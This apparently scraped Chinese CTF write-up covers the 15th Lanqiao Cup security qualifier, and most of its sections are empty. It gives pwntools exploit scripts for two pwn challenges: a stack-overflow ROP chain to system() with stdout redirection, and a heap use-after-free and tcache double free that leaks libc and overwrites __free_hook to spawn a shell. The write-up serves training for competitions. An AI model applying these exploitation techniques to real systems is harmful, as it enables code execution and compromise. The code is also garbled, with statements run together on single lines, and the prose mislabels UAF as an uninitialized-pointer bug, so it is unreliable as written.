本文主要是介绍第十五届蓝桥杯大赛软件赛—网络安全选拔赛WP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第十五届蓝桥杯大赛软件赛—网络安全选拔赛WP
- 1.理论题
- 2.情报收集:
- 3.数据分析:
- 4.密码破解:
- 5.逆向分析:
- 6.漏洞挖掘分析:
- fd:
- ezheap:
- 7.数据库安全:
前言:第一次参加蓝桥杯,很荣信晋级线下,感谢师傅们观看,最近打攻防更新的比较慢ovo。
1.理论题
略
2.情报收集:
3.数据分析:
4.密码破解:
5.逆向分析:
6.漏洞挖掘分析:
fd:
小蓝同学学习了栈溢出的知识后,又了解到linux系统中文件描述符(File Descriptor)是一个非常重要的概念,它是一个非负整数,用于标识一个特定的文件或其他输入输出资源,如套接字和管道。
没开PIE
和canary,IDA
静态分析buf
很明显的栈溢出
check
函数,看了一下没有过滤$0,close(1)
可以用重定向fd
完成
from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)backdoor=0x400CC5# 4197573rdi_ret=0x0000000000400933
ret=0x00000000004005ae
system_plt=0x0000000004005D0
info=0x601090
p.sendline(b'$0\x00')payload=b'a'*(0x20+0x8)+p64(ret)+p64(rdi_ret)+p64(info)+p64(system_plt)
p.sendline(payload)p.sendline(b'exec 1>&2')
p.sendline(b'cat flag')
p.interactive()
进入之后输入exec1>&2或者exec1>&0#完成重定向
即可回显。
ezheap:
小蓝同学第二次尝试使用C语言编写程序时,由于缺乏良好的安全开发经验和习惯,导致了未初始化的指针漏洞(Use After Free,UAF漏洞)。在他的程序中,他没有正确释放动态分配的内存空间,并且在之后继续使用了已经释放的指针,造成了悬空指针的问题。这种错误会导致程序在运行时出现未定义的行为,可能被恶意利用来执行恶意代码,破坏数据或者系统安全性。你能找到该漏洞并利用成功吗?
create
函数,free
函数没漏洞,show
函数正常
发现uaf
漏洞,但是只能使用一次
利用uaf
来完成堆重叠可以,然后先泄露堆地址再泄露libc
地址
因为没有\x00
截断,释放之后有堆地址残留,申请出来就能得到堆地址
就是这个接收有点问题,需要处理一下, 造成堆块double free
之后,然后把tcahce
中的全申请完,然后再申请,这个时候被改的fd
指向,然后会掉入tache
中还是关了本地随机化不然有问题
然后就是再次利用之前残留的堆重叠,再次打hook
就行
from pwn import *
# p=remote('45.32.110.230',20549)
FILENAME='./pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
libc=ELF('./libc.so.6')def create(Content=b'a\n'):p.recvuntil(b'4.exit',timeout=1)p.sendline(b'1')p.send(Content)
def free(id):p.recvuntil(b'4.exit',timeout=1)p.sendline(b'2')p.sendline(bytes(str(id),'utf-8'))
def show(id):p.recvuntil(b'4.exit',timeout=1)p.sendline(b'3')p.sendline(bytes(str(id),'utf-8'))
def uaf(id):p.recvuntil(b'4.exit',timeout=1)p.sendline(b'2106373')p.sendline(bytes(str(id),'utf-8'))payload=b'\x00'*0x18+p64(0x61)
for i in range(14):create(payload)#0-13
for i in range(7,0,-1):free(i)
uaf(0)
create(b'A')#1
free(0)
show(1)p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
heapbase=(heap_add<<8)-0x300
success('heapbase '+hex(heapbase))payload=p64(heapbase+0x2c0-0x10)+b'\n'
create(payload)#0,doublefor i in range(6): # x /20gx 0x555555558060create()#2-7
create()#14,0
payload=b'\x00'*0x38+p64(0x60*12+1)
create(payload)#15
free(1)
create(b'A')#1
show(1)libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-0x1ecf41
success('libcbase '+hex(libcbase))free(10)
free(1)
create(p64(0)*3+p64(0x61))
free(1)
free(15)free_hook=libcbase+libc.symbols['__free_hook']
system_add=libcbase+libc.symbols['system']
payload=b'\x00'*0x38+p64(0x61)+p64(free_hook)
create(payload)#1,over
create(b'/bin/sh\x00\n')#10
create(p64(system_add)+b'\n')
free(10)
# gdb.attach(p)
p.sendline(b'cat flag')
p.interactive()
7.数据库安全:
这篇关于第十五届蓝桥杯大赛软件赛—网络安全选拔赛WP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!